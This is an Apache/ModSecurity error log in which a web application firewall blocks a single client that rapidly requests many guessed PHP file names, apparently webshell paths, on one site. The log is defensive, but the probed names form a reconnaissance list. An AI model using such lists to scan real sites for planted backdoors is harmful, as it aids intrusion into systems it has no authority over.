[Sun Apr 26 08:41:12.474143 2026] [:error] [pid 22573:tid 22622] [client 20.9.69.97:11141] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2clas.php"] [unique_id "ae1fKHB3EmQlD4yKUt82vwAAAY8"]
[Sun Apr 26 08:41:28.259768 2026] [:error] [pid 22573:tid 22623] [client 20.9.69.97:11218] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class9.php"] [unique_id "ae1fOHB3EmQlD4yKUt825QAAAZA"]
[Sun Apr 26 08:41:28.925532 2026] [:error] [pid 8390:tid 8452] [client 20.9.69.97:11153] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class9.php"] [unique_id "ae1fOIGPtFK_i9p5yxRGfwAAAIE"]
[Sun Apr 26 08:41:29.604837 2026] [:error] [pid 16574:tid 16621] [client 20.9.69.97:11201] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class9.php"] [unique_id "ae1fOX5MsX8wRQr99nYC3AAAA00"]
[Sun Apr 26 08:41:31.113119 2026] [:error] [pid 8390:tid 8462] [client 20.9.69.97:11171] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class9.php"] [unique_id "ae1fO4GPtFK_i9p5yxRGgQAAAIs"]
[Sun Apr 26 08:41:33.157739 2026] [:error] [pid 22573:tid 22612] [client 20.9.69.97:11129] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/la.php"] [unique_id "ae1fPXB3EmQlD4yKUt825wAAAYY"]
[Sun Apr 26 08:41:35.148064 2026] [:error] [pid 8385:tid 8425] [client 20.9.69.97:11217] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/la.php"] [unique_id "ae1fPzOy7_J84Wx3-ox77wAAAEE"]
[Sun Apr 26 08:41:36.109986 2026] [:error] [pid 22573:tid 22629] [client 20.9.69.97:11093] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/la.php"] [unique_id "ae1fQHB3EmQlD4yKUt827wAAAZY"]
[Sun Apr 26 08:41:36.858394 2026] [:error] [pid 13197:tid 13239] [client 20.9.69.97:11108] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/la.php"] [unique_id "ae1fQN3kktFKdSxTrBuamAAAAsg"]
[Sun Apr 26 08:41:37.591396 2026] [:error] [pid 8390:tid 8458] [client 20.9.69.97:11222] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless11.php"] [unique_id "ae1fQYGPtFK_i9p5yxRGkgAAAIc"]
[Sun Apr 26 08:41:38.627526 2026] [:error] [pid 22572:tid 22588] [client 20.9.69.97:11160] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless11.php"] [unique_id "ae1fQtXOViWCFU-pZzCFMwAAAUo"]
[Sun Apr 26 08:41:41.071051 2026] [:error] [pid 16515:tid 16539] [client 20.9.69.97:11179] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless11.php"] [unique_id "ae1fRVtDrUmgHSvpuLzW3wAAAlU"]
[Sun Apr 26 08:41:42.230197 2026] [:error] [pid 8491:tid 8504] [client 20.9.69.97:11216] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless11.php"] [unique_id "ae1fRiq7I7e6CJooQM2z2QAAAMU"]
[Sun Apr 26 08:41:43.719277 2026] [:error] [pid 8491:tid 8500] [client 20.9.69.97:11156] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "ae1fRyq7I7e6CJooQM2z3QAAAME"]
[Sun Apr 26 08:41:44.232142 2026] [:error] [pid 16515:tid 16528] [client 20.9.69.97:11137] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "ae1fSFtDrUmgHSvpuLzW4QAAAko"]
[Sun Apr 26 08:41:45.124085 2026] [:error] [pid 22573:tid 22613] [client 20.9.69.97:11241] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "ae1fSXB3EmQlD4yKUt82-QAAAYc"]
[Sun Apr 26 08:41:45.806493 2026] [:error] [pid 8383:tid 8400] [client 20.9.69.97:11150] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "ae1fSdFa2S3EsATMdWPUWAAAAAM"]
[Sun Apr 26 08:41:46.385663 2026] [:error] [pid 16515:tid 16519] [client 20.9.69.97:11148] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ton.php"] [unique_id "ae1fSltDrUmgHSvpuLzW4wAAAkE"]
[Sun Apr 26 08:41:46.946686 2026] [:error] [pid 8385:tid 8435] [client 20.9.69.97:11072] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ton.php"] [unique_id "ae1fSjOy7_J84Wx3-ox7_gAAAEs"]
[Sun Apr 26 08:41:47.421379 2026] [:error] [pid 8385:tid 8441] [client 20.9.69.97:11173] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ton.php"] [unique_id "ae1fSzOy7_J84Wx3-ox7_wAAAFE"]
[Sun Apr 26 08:41:47.917910 2026] [:error] [pid 22572:tid 22598] [client 20.9.69.97:11207] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ton.php"] [unique_id "ae1fS9XOViWCFU-pZzCFPAAAAVQ"]
[Sun Apr 26 08:41:48.837272 2026] [:error] [pid 8383:tid 8421] [client 20.9.69.97:11249] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/403.php"] [unique_id "ae1fTNFa2S3EsATMdWPUXAAAABg"]
[Sun Apr 26 08:41:54.213687 2026] [:error] [pid 13137:tid 13148] [client 20.9.69.97:11110] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/403.php"] [unique_id "ae1fUt0RB4J0o4h5neHzwwAAAgg"]
[Sun Apr 26 08:41:54.914401 2026] [:error] [pid 8390:tid 8452] [client 20.9.69.97:11237] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/403.php"] [unique_id "ae1fUoGPtFK_i9p5yxRGrgAAAIE"]
[Sun Apr 26 08:41:55.762734 2026] [:error] [pid 8385:tid 8447] [client 20.9.69.97:11224] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/403.php"] [unique_id "ae1fUzOy7_J84Wx3-ox8AQAAAFc"]
[Sun Apr 26 08:41:56.634314 2026] [:error] [pid 22573:tid 22609] [client 20.9.69.97:11078] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file9.php"] [unique_id "ae1fVHB3EmQlD4yKUt83AQAAAYM"]
[Sun Apr 26 08:41:57.594523 2026] [:error] [pid 22572:tid 22585] [client 20.9.69.97:11256] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file9.php"] [unique_id "ae1fVdXOViWCFU-pZzCFQQAAAUc"]
[Sun Apr 26 08:41:58.696860 2026] [:error] [pid 22573:tid 22625] [client 20.9.69.97:11159] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file9.php"] [unique_id "ae1fVnB3EmQlD4yKUt83EwAAAZI"]
[Sun Apr 26 08:42:00.302014 2026] [:error] [pid 8390:tid 8458] [client 20.9.69.97:11142] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file9.php"] [unique_id "ae1fWIGPtFK_i9p5yxRGwgAAAIc"]
[Sun Apr 26 08:42:01.218697 2026] [:error] [pid 22573:tid 22609] [client 20.9.69.97:11197] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ac.php"] [unique_id "ae1fWXB3EmQlD4yKUt83FQAAAYM"]
[Sun Apr 26 08:42:01.912481 2026] [:error] [pid 8390:tid 8474] [client 20.9.69.97:11165] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ac.php"] [unique_id "ae1fWYGPtFK_i9p5yxRGyQAAAJc"]
[Sun Apr 26 08:42:02.792494 2026] [:error] [pid 8383:tid 8420] [client 20.9.69.97:11250] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ac.php"] [unique_id "ae1fWtFa2S3EsATMdWPUYgAAABc"]
[Sun Apr 26 08:42:03.343709 2026] [:error] [pid 22572:tid 22588] [client 20.9.69.97:11172] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ac.php"] [unique_id "ae1fW9XOViWCFU-pZzCFRAAAAUo"]
[Sun Apr 26 08:42:04.961130 2026] [:error] [pid 8385:tid 8445] [client 20.9.69.97:11229] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new4.php"] [unique_id "ae1fXDOy7_J84Wx3-ox8AwAAAFU"]
[Sun Apr 26 08:42:05.753999 2026] [:error] [pid 22573:tid 22625] [client 20.9.69.97:11103] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new4.php"] [unique_id "ae1fXXB3EmQlD4yKUt83IwAAAZI"]
[Sun Apr 26 08:42:06.250917 2026] [:error] [pid 8385:tid 8424] [client 20.9.69.97:11152] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new4.php"] [unique_id "ae1fXjOy7_J84Wx3-ox8BQAAAEA"]
[Sun Apr 26 08:42:06.885893 2026] [:error] [pid 8385:tid 8446] [client 20.9.69.97:11155] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new4.php"] [unique_id "ae1fXjOy7_J84Wx3-ox8BgAAAFY"]
[Sun Apr 26 08:42:07.581061 2026] [:error] [pid 22572:tid 22582] [client 20.9.69.97:11194] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pop.php"] [unique_id "ae1fX9XOViWCFU-pZzCFSAAAAUQ"]
[Sun Apr 26 08:42:08.158705 2026] [:error] [pid 8491:tid 8505] [client 20.9.69.97:11147] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pop.php"] [unique_id "ae1fYCq7I7e6CJooQM2z5wAAAMY"]
[Sun Apr 26 08:42:08.637634 2026] [:error] [pid 22572:tid 22599] [client 20.9.69.97:11166] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pop.php"] [unique_id "ae1fYNXOViWCFU-pZzCFSgAAAVU"]
[Sun Apr 26 08:42:09.860114 2026] [:error] [pid 8385:tid 8448] [client 20.9.69.97:11208] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pop.php"] [unique_id "ae1fYTOy7_J84Wx3-ox8CAAAAFg"]
[Sun Apr 26 08:42:10.952650 2026] [:error] [pid 22572:tid 22592] [client 20.9.69.97:11219] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "ae1fYtXOViWCFU-pZzCFTwAAAU4"]
[Sun Apr 26 08:42:11.591950 2026] [:error] [pid 22572:tid 22596] [client 20.9.69.97:11084] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "ae1fY9XOViWCFU-pZzCFVAAAAVI"]
[Sun Apr 26 08:42:12.420397 2026] [:error] [pid 8390:tid 8461] [client 20.9.69.97:11094] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "ae1fZIGPtFK_i9p5yxRG0wAAAIo"]
[Sun Apr 26 08:42:13.072649 2026] [:error] [pid 8390:tid 8471] [client 20.9.69.97:11236] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "ae1fZYGPtFK_i9p5yxRG1QAAAJQ"]
[Sun Apr 26 08:42:14.299057 2026] [:error] [pid 8385:tid 8430] [client 20.9.69.97:11104] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xaz.php"] [unique_id "ae1fZjOy7_J84Wx3-ox8CwAAAEY"]
[Sun Apr 26 08:42:15.715740 2026] [:error] [pid 8491:tid 8514] [client 20.9.69.97:11130] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xaz.php"] [unique_id "ae1fZyq7I7e6CJooQM2z6QAAAM8"]
[Sun Apr 26 08:42:16.369642 2026] [:error] [pid 22572:tid 22591] [client 20.9.69.97:11080] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xaz.php"] [unique_id "ae1faNXOViWCFU-pZzCFWQAAAU0"]
[Sun Apr 26 08:42:16.815017 2026] [:error] [pid 8491:tid 8500] [client 20.9.69.97:11158] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xaz.php"] [unique_id "ae1faCq7I7e6CJooQM2z6wAAAME"]
[Sun Apr 26 08:42:17.250592 2026] [:error] [pid 22573:tid 22615] [client 20.9.69.97:11174] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up4.php"] [unique_id "ae1faXB3EmQlD4yKUt83MAAAAYg"]
[Sun Apr 26 08:42:17.690945 2026] [:error] [pid 8491:tid 8507] [client 20.9.69.97:11082] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up4.php"] [unique_id "ae1faSq7I7e6CJooQM2z7AAAAMg"]
[Sun Apr 26 08:42:18.202899 2026] [:error] [pid 8385:tid 8442] [client 20.9.69.97:11164] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up4.php"] [unique_id "ae1fajOy7_J84Wx3-ox8DAAAAFI"]
[Sun Apr 26 08:42:18.646350 2026] [:error] [pid 16515:tid 16542] [client 20.9.69.97:11189] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up4.php"] [unique_id "ae1faltDrUmgHSvpuLzW-QAAAlg"]
[Sun Apr 26 08:42:19.152273 2026] [:error] [pid 8383:tid 8404] [client 20.9.69.97:11253] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1aa.php"] [unique_id "ae1fa9Fa2S3EsATMdWPUagAAAAc"]
[Sun Apr 26 08:42:19.577881 2026] [:error] [pid 16515:tid 16520] [client 20.9.69.97:11228] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1aa.php"] [unique_id "ae1fa1tDrUmgHSvpuLzW-gAAAkI"]
[Sun Apr 26 08:42:20.142555 2026] [:error] [pid 8390:tid 8467] [client 20.9.69.97:11242] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1aa.php"] [unique_id "ae1fbIGPtFK_i9p5yxRG6gAAAJA"]
